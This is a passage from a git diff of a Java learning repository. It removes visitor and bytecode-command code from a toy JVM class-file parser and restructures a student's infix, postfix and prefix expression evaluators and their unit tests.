--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/NullConstantInfo.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/NullConstantInfo.java
@@ -9,10 +9,5 @@ public NullConstantInfo(){
 	public int getType() {		
 		return -1;
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-
-	}
-
+	
 }
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/StringInfo.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/StringInfo.java
index 0fc28b142c..31a3c52910 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/StringInfo.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/StringInfo.java
@@ -10,12 +10,7 @@ public StringInfo(ConstantPool pool) {
 	public int getType() {
 		return type;
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitString(this);
-	}
-
+	
 	public int getIndex() {
 		return index;
 	}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/UTF8Info.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/UTF8Info.java
index ae5200371e..caf1c19918 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/UTF8Info.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/constant/UTF8Info.java
@@ -16,12 +16,6 @@ public void setLength(int length) {
 	public int getType() {
 		return type;
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visistUTF8(this);
-	}
-
 	@Override
 	public String toString() {
 		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/method/Method.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/method/Method.java
index 27585d73b1..6cd71db72c 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/method/Method.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/method/Method.java
@@ -4,7 +4,6 @@
 import org.xukai.jvm.attr.AttributeInfo;
 import org.xukai.jvm.attr.CodeAttr;
 import org.xukai.jvm.clz.ClassFile;
-import org.xukai.jvm.cmd.ByteCodeCommand;
 import org.xukai.jvm.constant.UTF8Info;
 import org.xukai.jvm.loader.ByteCodeIterator;
 
@@ -26,7 +25,6 @@ public ClassFile getClzFile() {
 	public int getNameIndex() {
 		return nameIndex;
 	}
-
 	public int getDescriptorIndex() {
 		return descriptorIndex;
 	}
@@ -57,10 +55,6 @@ public String getMethodName(){
 	public String getMethodDescription(){
 		return ((UTF8Info)clzFile.getConstantPool().getConstantInfo(this.descriptorIndex)).getValue();
 	}
-
-	public ByteCodeCommand[] getCmds() {
-		return this.getCodeAttr().getCmds();
-	}
 	
 	
 	
@@ -83,5 +77,12 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		
 	}
 
+	public static void main(String[] args) {
+		CodeAttr codeAttr = new CodeAttr(1, 1, 1, 1, 1, "");
+		System.out.println(codeAttr instanceof AttributeInfo);
+		AttributeInfo codeAttr2 = new CodeAttr(1, 1, 1, 1, 1, "");
+		System.out.println(codeAttr2 instanceof CodeAttr);
+	}
+
 
 }
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/print/ClassFilePrinter.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/print/ClassFilePrinter.java
deleted file mode 100644
index 4c78dc1796..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/print/ClassFilePrinter.java
+++ /dev/null
@@ -1,48 +0,0 @@
-package org.xukai.jvm.print;
-
-
-import org.xukai.jvm.clz.ClassFile;
-import org.xukai.jvm.loader.ClassFileLoader;
-
-public class ClassFilePrinter {
-
-	ClassFile clzFile = null;
-	public ClassFilePrinter(ClassFile clzFile){
-		this.clzFile = clzFile;
-	}
-	
-	public void print(){
-		
-		if(clzFile.getAccessFlag().isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ clzFile.getClassName());
-		
-		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
-		
-		System.out.println("minor version:" + clzFile.getMinorVersion());
-		
-		System.out.println("major version:" + clzFile.getMinorVersion());
-		
-		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
-
-		cnstPoolPrinter.print();
-		
-		
-		
-		
-	}
-	
-	public static void main(String[] args){
-		String path = "D:\\java\\IDEA-Workspace\\coding2017\\group19\\527220084\\xukai_coding\\coding-common\\target\\classes";
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path);
-		String className = "org.xukai.jvm.test.EmployeeV1";
-		
-		ClassFile clzFile = loader.loadClass(className);
-		
-		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
-		
-		printer.print();
-	}
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/print/ConstantPoolPrinter.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/print/ConstantPoolPrinter.java
deleted file mode 100644
index b1ec2eda79..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/print/ConstantPoolPrinter.java
+++ /dev/null
@@ -1,85 +0,0 @@
-package org.xukai.jvm.print;
-
-
-import org.xukai.jvm.constant.ClassInfo;
-import org.xukai.jvm.constant.ConstantInfo;
-import org.xukai.jvm.constant.ConstantPool;
-import org.xukai.jvm.constant.FieldRefInfo;
-import org.xukai.jvm.constant.MethodRefInfo;
-import org.xukai.jvm.constant.NameAndTypeInfo;
-import org.xukai.jvm.constant.StringInfo;
-import org.xukai.jvm.constant.UTF8Info;
-
-public class ConstantPoolPrinter {
-	ConstantPool pool;
-	ConstantPoolPrinter(ConstantPool pool){
-		this.pool = pool;
-	}
-	public void print(){
-		
-		System.out.println("Constant Pool:");
-		
-		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
-			
-			@Override
-			public void visitString(StringInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("String    #").append(info.getIndex());
-				System.out.println(buffer);
-				
-			}
-			
-			@Override
-			public void visitNameAndType(NameAndTypeInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("NameAndType    #").append(info.getIndex1()).append(":#")
-				.append(info.getIndex2());
-				System.out.println(buffer);
-				
-			}
-			
-			@Override
-			public void visitMethodRef(MethodRefInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("MethodRef    #").append(info.getClassInfoIndex()).append(".#")
-				.append(info.getNameAndTypeIndex()).append("    ").append(info.getClassName()).append(".").append
-						(info.getMethodName()).append(info.getParamAndReturnType());
-				System.out.println(buffer);
-				
-			}
-			
-			@Override
-			public void visitFieldRef(FieldRefInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("FieldRef    #").append(info.getClassInfoIndex()).append(".#")
-				.append(info.getNameAndTypeIndex());
-				System.out.println(buffer);
-				
-			}
-			
-			@Override
-			public void visitClassInfo(ClassInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("Class    #").append(info.getUtf8Index())
-				.append("  ").append(info.getClassName());
-				
-				System.out.println(buffer);
-				
-			}
-			
-			@Override
-			public void visistUTF8(UTF8Info info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("UTF8    ").append(info.getValue());
-				System.out.println(buffer);
-				
-			}
-		};
-		
-		for(int i=1; i <= pool.getSize(); i++){
-			ConstantInfo constantInfo = pool.getConstantInfo(i);
-			System.out.print("#"+i+"=");
-			constantInfo.accept(visitor);			
-		}
-	}
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/test/ClassFileloaderTest.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/test/ClassFileloaderTest.java
index 08e65bedce..c4fad12ff6 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/test/ClassFileloaderTest.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/jvm/test/ClassFileloaderTest.java
@@ -8,10 +8,6 @@
 import org.junit.Test;
 import org.xukai.jvm.clz.ClassFile;
 import org.xukai.jvm.clz.ClassIndex;
-import org.xukai.jvm.cmd.BiPushCmd;
-import org.xukai.jvm.cmd.ByteCodeCommand;
-import org.xukai.jvm.cmd.OneOperandCmd;
-import org.xukai.jvm.cmd.TwoOperandCmd;
 import org.xukai.jvm.constant.ClassInfo;
 import org.xukai.jvm.constant.ConstantPool;
 import org.xukai.jvm.constant.MethodRefInfo;
@@ -307,82 +303,7 @@ private void assertMethodEquals(ConstantPool pool,Method m , String expectedName
 		Assert.assertEquals(expectedDesc, methodDesc);
 		Assert.assertEquals(expectedCode, code);
 	}
-
-
-	@Test
-	public void testByteCodeCommand(){
-		{
-			Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-			ByteCodeCommand[] cmds = initMethod.getCmds();
-
-			assertOpCodeEquals("0: aload_0", cmds[0]);
-			assertOpCodeEquals("1: invokespecial #12", cmds[1]);
-			assertOpCodeEquals("4: aload_0", cmds[2]);
-			assertOpCodeEquals("5: aload_1", cmds[3]);
-			assertOpCodeEquals("6: putfield #15", cmds[4]);
-			assertOpCodeEquals("9: aload_0", cmds[5]);
-			assertOpCodeEquals("10: iload_2", cmds[6]);
-			assertOpCodeEquals("11: putfield #17", cmds[7]);
-			assertOpCodeEquals("14: return", cmds[8]);
-		}
-
-		{
-			Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-			ByteCodeCommand [] cmds = setNameMethod.getCmds();
-
-			assertOpCodeEquals("0: aload_0", cmds[0]);
-			assertOpCodeEquals("1: aload_1", cmds[1]);
-			assertOpCodeEquals("2: putfield #15", cmds[2]);
-			assertOpCodeEquals("5: return", cmds[3]);
-
-		}
-
-		{
-			Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
-			ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
-
-			assertOpCodeEquals("0: getstatic #28", cmds[0]);
-			assertOpCodeEquals("3: ldc #34", cmds[1]);
-			assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
-			assertOpCodeEquals("8: return", cmds[3]);
-
-		}
-
-		{
-			Method mainMethod = this.clzFile.getMainMethod();
-
-			ByteCodeCommand [] cmds = mainMethod.getCmds();
-
-			assertOpCodeEquals("0: new #1", cmds[0]);
-			assertOpCodeEquals("3: dup", cmds[1]);
-			assertOpCodeEquals("4: ldc #43", cmds[2]);
-			assertOpCodeEquals("6: bipush 29", cmds[3]);
-			assertOpCodeEquals("8: invokespecial #45", cmds[4]);
-			assertOpCodeEquals("11: astore_1", cmds[5]);
-			assertOpCodeEquals("12: aload_1", cmds[6]);
-			assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
-			assertOpCodeEquals("16: return", cmds[8]);
-		}
-
-	}
-
-	private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
-
-		String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
-
-		if(cmd instanceof OneOperandCmd){
-			if(cmd instanceof BiPushCmd){
-				acctual += " " + ((OneOperandCmd)cmd).getOperand();
-			} else{
-				acctual += " #" + ((OneOperandCmd)cmd).getOperand();
-			}
-		}
-		if(cmd instanceof TwoOperandCmd){
-			acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
-		}
-		Assert.assertEquals(expected, acctual);
-	}
-
-
+    
+   
 
 }
diff --git a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/InfixExpr.java b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/InfixExpr.java
new file mode 100644
index 0000000000..e30cc00cc2
--- /dev/null
+++ b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/InfixExpr.java
@@ -0,0 +1,161 @@
+package me.lzb.basic;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+/**
+ * Created by LZB on 2017/4/15.
+ */
+public class InfixExpr {
+
+
+    private String expr;
+
+    public InfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+
+        List<Node> list = processExpr();
+
+        Stack<String> symbolStack = new Stack<>();
+        Stack<Float> numberStack = new Stack<>();
+
+        boolean calLevel2 = false;
+        for (Node n : list) {
+            if (n.isNumber) {
+                numberStack.push(n.number);
+                if (calLevel2) {
+                    calculate(symbolStack, numberStack, false);
+                    calLevel2 = false;
+                }
+            } else {
+                symbolStack.push(n.symbol);
+
+                if (n.isLevel2()) {
+                    calLevel2 = true;
+                }
+            }
+        }
+
+
+        Stack<Float> tn = new Stack<>();
+        int nsize = numberStack.size();
+        for (int i = 0; i < nsize; i++) {
+            tn.push(numberStack.pop());
+        }
+
+        numberStack = tn;
+
+
+        Stack<String> ts = new Stack<>();
+        int ssize = symbolStack.size();
+        for (int i = 0; i < ssize; i++) {
+            ts.push(symbolStack.pop());
+        }
+
+        symbolStack = ts;
+
+
+        while (!symbolStack.isEmpty()) {
+            calculate(symbolStack, numberStack, true);
+        }
+
+
+        return numberStack.pop();
+    }
+
+
+
+    private List<Node> processExpr() {
+        List<Node> list = new ArrayList<>();
+        char[] array = this.expr.toCharArray();
+        String number = "";
+        for (int i = 0; i < array.length; i++) {
+            if (Character.isDigit(array[i])) {
+                number = number + String.valueOf(array[i]);
+            } else {
+                Node num = new Node(Float.valueOf(number), null, true, -1);
+                number = "";
+                int calLevel = "+-".indexOf(array[i]) >= 0 ? 1 : 2;
+                Node sym = new Node(0, String.valueOf(array[i]), false, calLevel);
+                list.add(num);
+                list.add(sym);
+            }
+        }
+
+        Node num = new Node(Float.valueOf(number), null, true, -1);
+        list.add(num);
+        return list;
+    }
+
+
+    private void calculate(Stack<String> symbolStack, Stack<Float> numberStack, boolean isRe) {
+        if (symbolStack.isEmpty()) {
+            return;
+        }
+
+
+        String symbole = symbolStack.pop();
+
+        float right;
+        float left;
+
+        if(isRe){
+            left = numberStack.pop();
+            right = numberStack.pop();
+        }else {
+            right = numberStack.pop();
+            left = numberStack.pop();
+        }
+
+
+
+        float r = calculate(symbole, left, right);
+
+        numberStack.push(r);
+    }
+
+
+    private float calculate(String symbol, float left, float right) {
+        if ("+".equals(symbol)) {
+            return left + right;
+        }
+
+        if ("-".equals(symbol)) {
+            return left - right;
+        }
+
+        if ("*".equals(symbol)) {
+            return left * right;
+        }
+
+        if ("/".equals(symbol)) {
+            return left / right;
+        }
+
+        return 0;
+    }
+
+
+    private class Node {
+        float number;
+        String symbol;
+        boolean isNumber;
+        int calLevel;//加减1，乘除2
+
+        public Node(float number, String symbol, boolean isNumber, int calLevel) {
+            this.number = number;
+            this.symbol = symbol;
+            this.isNumber = isNumber;
+            this.calLevel = calLevel;
+        }
+
+        private boolean isLevel2() {
+            return calLevel == 2;
+        }
+    }
+
+}
diff --git a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/CalUtil.java b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/CalUtil.java
deleted file mode 100644
index 5b52ab0863..0000000000
--- a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/CalUtil.java
+++ /dev/null
@@ -1,108 +0,0 @@
-package me.lzb.basic.expr;
-
-import me.lzb.common.utils.StringUtils;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Stack;
-
-/**
- * Created by LZB on 2017/4/20.
- */
-public class CalUtil {
-
-
-    public static void calculate(Stack<String> symbolStack, Stack<Float> numberStack, boolean isRe) {
-        if (symbolStack.isEmpty()) {
-            return;
-        }
-
-
-        String symbole = symbolStack.pop();
-
-        float right;
-        float left;
-
-        if (isRe) {
-            left = numberStack.pop();
-            right = numberStack.pop();
-        } else {
-            right = numberStack.pop();
-            left = numberStack.pop();
-        }
-
-        float r = calculate(symbole, left, right);
-
-        numberStack.push(r);
-    }
-
-
-    public static float calculate(String symbol, float left, float right) {
-        if ("+".equals(symbol)) {
-            return left + right;
-        }
-
-        if ("-".equals(symbol)) {
-            return left - right;
-        }
-
-        if ("*".equals(symbol)) {
-            return left * right;
-        }
-
-        if ("/".equals(symbol)) {
-            return left / right;
-        }
-
-        return 0;
-    }
-
-
-    public static List<Node> processInfixExpr(String expr) {
-        List<Node> list = new ArrayList<>();
-        char[] array = expr.toCharArray();
-        String number = "";
-        for (int i = 0; i < array.length; i++) {
-            if (Character.isDigit(array[i])) {
-                number = number + String.valueOf(array[i]);
-            } else {
-                if (StringUtils.isNotBlank(number)) {
-                    Node num = new Node(Float.valueOf(number), null, -1);
-                    number = "";
-                    list.add(num);
-                }
-
-                int calLevel = 1;
-
-                if ("*/".indexOf(array[i]) >= 0) {
-                    calLevel = 2;
-                }
-
-                if ("()".indexOf(array[i]) >= 0) {
-                    calLevel = 3;
-                }
-
-                Node sym = new Node(0, String.valueOf(array[i]), calLevel);
-
-                list.add(sym);
-            }
-        }
-        if (StringUtils.isNotBlank(number)) {
-            Node num = new Node(Float.valueOf(number), null, -1);
-            list.add(num);
-        }
-
-        return list;
-    }
-
-
-    public static boolean isLowLevel(Node stackTop, Node next) {
-        return stackTop.calLevel < next.calLevel;
-    }
-
-    public static void main(String[] args) {
-        Node n = new Node(0, "*", 2);
-        Node m = new Node(0, "-", 1);
-        System.out.println(isLowLevel(n, m));
-    }
-}
diff --git a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/InfixExpr.java b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/InfixExpr.java
deleted file mode 100644
index 833ee8cfda..0000000000
--- a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/InfixExpr.java
+++ /dev/null
@@ -1,71 +0,0 @@
-package me.lzb.basic.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-/**
- * 中序表达式
- * Created by LZB on 2017/4/15.
- */
-public class InfixExpr {
-
-
-    private String expr;
-
-    public InfixExpr(String expr) {
-        this.expr = expr;
-    }
-
-    public float evaluate() {
-
-        List<Node> list = CalUtil.processInfixExpr(expr);
-
-        Stack<String> symbolStack = new Stack<>();
-        Stack<Float> numberStack = new Stack<>();
-
-        boolean calLevel2 = false;
-        for (Node n : list) {
-            if (n.isNumber()) {
-                numberStack.push(n.number);
-                if (calLevel2) {
-                    CalUtil.calculate(symbolStack, numberStack, false);
-                    calLevel2 = false;
-                }
-            } else {
-                symbolStack.push(n.symbol);
-
-                if (n.isLevel2()) {
-                    calLevel2 = true;
-                }
-            }
-        }
-
-
-        Stack<Float> tn = new Stack<>();
-        int nsize = numberStack.size();
-        for (int i = 0; i < nsize; i++) {
-            tn.push(numberStack.pop());
-        }
-
-        numberStack = tn;
-
-
-        Stack<String> ts = new Stack<>();
-        int ssize = symbolStack.size();
-        for (int i = 0; i < ssize; i++) {
-            ts.push(symbolStack.pop());
-        }
-
-        symbolStack = ts;
-
-
-        while (!symbolStack.isEmpty()) {
-            CalUtil.calculate(symbolStack, numberStack, true);
-        }
-
-
-        return numberStack.pop();
-    }
-
-
-}
diff --git a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/InfixToPostfix.java b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/InfixToPostfix.java
deleted file mode 100644
index d9b1d3e5a6..0000000000
--- a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/InfixToPostfix.java
+++ /dev/null
@@ -1,79 +0,0 @@
-package me.lzb.basic.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-/**
- * 中序转后序
- * Created by LZB on 2017/4/20.
- */
-public class InfixToPostfix {
-
-    private String infix;
-
-    public InfixToPostfix(String infix) {
-        this.infix = infix;
-    }
-
-
-    public String change() {
-        StringBuffer sb = new StringBuffer();
-        List<Node> list = CalUtil.processInfixExpr(infix);
-        Stack<Node> symbolStack = new Stack<>();
-
-        for (int i = 0; i < list.size(); i++) {
-            Node n = list.get(i);
-            //如果是数字，直接输出
-            if (n.isNumber()) {
-                append(sb, n);
-                continue;
-            }
-
-            //操作符部分
-
-            //操作符栈为空，操作符入栈
-            if (symbolStack.isEmpty()) {
-                symbolStack.push(n);
-                continue;
-            }
-
-            if (")".equals(n.symbol)) {
-                //当前操作符为)，输出操作数栈内的操作符，直到遇到第一个(
-                while (!"(".equals(symbolStack.peek().symbol)) {
-                    append(sb, symbolStack.pop());
-                }
-                //遇到的第一个(, 出栈，完成一个括号
-                symbolStack.pop();
-            } else {
-
-                //计算用，操作符
-                //栈顶元素优先级更低，操作符入栈
-                if (CalUtil.isLowLevel(symbolStack.peek(), n) || symbolStack.peek().isLevel3()) {
-                    symbolStack.push(n);
-                } else {
-                    //栈顶元素优先级高于等于当前操作符，输出操作符，直到遇到(，或者遇到优先级更低的操作符
-                    while (!symbolStack.isEmpty() && !symbolStack.peek().isLevel3() && !CalUtil.isLowLevel(symbolStack.peek(), n)) {
-                        append(sb, symbolStack.pop());
-                    }
-                    //当前操作符入栈
-                    symbolStack.push(n);
-                }
-            }
-        }
-
-
-        while (!symbolStack.isEmpty()) {
-            append(sb, symbolStack.pop());
-        }
-
-        return sb.toString().trim();
-    }
-
-
-    private void append(StringBuffer sb, Node node) {
-        sb.append(" ");
-        sb.append(node.isNumber() ? (int) node.number : node.symbol);
-    }
-
-
-}
diff --git a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/Node.java b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/Node.java
deleted file mode 100644
index 1c698f1101..0000000000
--- a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/Node.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package me.lzb.basic.expr;
-
-/**
- * Created by LZB on 2017/4/20.
- */
-public class Node {
-    float number;
-    String symbol;
-    int calLevel;//加减1，乘除2, ()3, 数字-1
-
-    public Node(float number, String symbol, int calLevel) {
-        this.number = number;
-        this.symbol = symbol;
-        this.calLevel = calLevel;
-    }
-
-    public boolean isLevel2() {
-        return calLevel == 2;
-    }
-
-    public boolean isLevel3() {
-        return calLevel == 3;
-    }
-
-    public boolean isNumber(){
-        return calLevel == -1;
-    }
-}
diff --git a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/PostfixExpr.java b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/PostfixExpr.java
deleted file mode 100644
index 22a0db2ee0..0000000000
--- a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/PostfixExpr.java
+++ /dev/null
@@ -1,46 +0,0 @@
-package me.lzb.basic.expr;
-
-import me.lzb.common.utils.StringUtils;
-
-import java.util.Stack;
-
-/**
- * 后缀表达式
- * Created by LZB on 2017/4/20.
- */
-public class PostfixExpr {
-
-    private String expr;
-
-    public PostfixExpr(String expr) {
-        this.expr = expr;
-    }
-
-    public float evaluate() {
-
-        Stack<String> symbolStack = new Stack<>();
-        Stack<Float> numberStack = new Stack<>();
-
-        char[] array = this.expr.toCharArray();
-        String number = "";
-        for (int i = 0; i < array.length; i++) {
-            if (Character.isDigit(array[i])) {
-                number = number + String.valueOf(array[i]);
-            } else {
-                if (StringUtils.isNotBlank(number)) {
-                    numberStack.push(Float.valueOf(number));
-                    number = "";
-                }
-                if (Character.isSpaceChar(array[i])) {
-
-
-                } else {
-                    symbolStack.push(String.valueOf(array[i]));
-                    CalUtil.calculate(symbolStack, numberStack, false);
-                }
-            }
-        }
-        return numberStack.pop();
-    }
-
-}
diff --git a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/PrefixExpr.java b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/PrefixExpr.java
deleted file mode 100644
index 27b7b2f52d..0000000000
--- a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/PrefixExpr.java
+++ /dev/null
@@ -1,46 +0,0 @@
-package me.lzb.basic.expr;
-
-import me.lzb.common.utils.StringUtils;
-
-import java.util.Stack;
-
-/**
- * 前缀表达式
- * Created by LZB on 2017/4/20.
- */
-public class PrefixExpr {
-
-    private String expr;
-
-    public PrefixExpr(String expr) {
-        this.expr = expr;
-    }
-
-    public float evaluate() {
-
-        Stack<String> symbolStack = new Stack<>();
-        Stack<Float> numberStack = new Stack<>();
-
-        char[] array = this.expr.toCharArray();
-        String number = "";
-        for (int i = array.length - 1; i >= 0; i--) {
-            if (Character.isDigit(array[i])) {
-                number = number + String.valueOf(array[i]);
-            } else {
-                if (StringUtils.isNotBlank(number)) {
-                    numberStack.push(Float.valueOf(number));
-                    number = "";
-                }
-                if (Character.isSpaceChar(array[i])) {
-
-
-                } else {
-                    symbolStack.push(String.valueOf(array[i]));
-                    CalUtil.calculate(symbolStack, numberStack, true);
-                }
-            }
-        }
-        return numberStack.pop();
-    }
-
-}
diff --git a/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/InfixExprTest.java b/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/InfixExprTest.java
similarity index 97%
rename from group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/InfixExprTest.java
rename to group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/InfixExprTest.java
index 913f6ad2ee..5ca7621354 100644
--- a/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/InfixExprTest.java
+++ b/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/InfixExprTest.java
@@ -1,4 +1,4 @@
-package me.lzb.basic.expr;
+package me.lzb.basic;
 
 import org.junit.After;
 import org.junit.Assert;
diff --git a/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/InfixToPostfixTest.java b/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/InfixToPostfixTest.java
deleted file mode 100644
index de92921b42..0000000000
--- a/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/InfixToPostfixTest.java
+++ /dev/null
@@ -1,42 +0,0 @@
-package me.lzb.basic.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by LZB on 2017/4/20.
- */
-public class InfixToPostfixTest {
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testChange() {
-        {
-            InfixToPostfix toPostfix = new InfixToPostfix("((2+3)*8+5+3)*6");
-            Assert.assertEquals("2 3 + 8 * 5 + 3 + 6 *", toPostfix.change());
-        }
-
-        {
-            InfixToPostfix toPostfix = new InfixToPostfix("6*(5+(2+3)*8+3)");
-            Assert.assertEquals("6 5 2 3 + 8 * + 3 + *", toPostfix.change());
-        }
-        {
-            InfixToPostfix toPostfix = new InfixToPostfix("9+(3-1)*3+10/2");
-            Assert.assertEquals("9 3 1 - 3 * + 10 2 / +", toPostfix.change());
-        }
-
-        {
-            InfixToPostfix toPostfix = new InfixToPostfix("10-2*3+50");
-            Assert.assertEquals("10 2 3 * - 50 +", toPostfix.change());
-        }
-    }
-}
diff --git a/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/PostfixExprTest.java b/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/PostfixExprTest.java
deleted file mode 100644
index 4a1239bcf6..0000000000
--- a/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/PostfixExprTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package me.lzb.basic.expr;
-
-
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-/**
- * 后缀表达式
- */
-public class PostfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-			Assert.assertEquals(288, expr.evaluate(),0.0f);
-		}
-		{
-			//9+(3-1)*3+10/2
-			PostfixExpr expr = new PostfixExpr("9 3 1 - 3 * + 10 2 / +");
-			Assert.assertEquals(20, expr.evaluate(),0.0f);
-		}
-
-		{
-			//10-2*3+50
-			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-			Assert.assertEquals(54, expr.evaluate(),0.0f);
-		}
-	}
-
-}
diff --git a/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/PrefixExprTest.java b/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/PrefixExprTest.java
deleted file mode 100644
index 11691cda54..0000000000
--- a/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/PrefixExprTest.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package me.lzb.basic.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * 前缀表达式
- */
-public class PrefixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			// 2*3+4*5
-			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
-			Assert.assertEquals(26, expr.evaluate(),0.001f);
-		}
-		{
-			// 4*2 + 6+9*2/3 -8
-			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
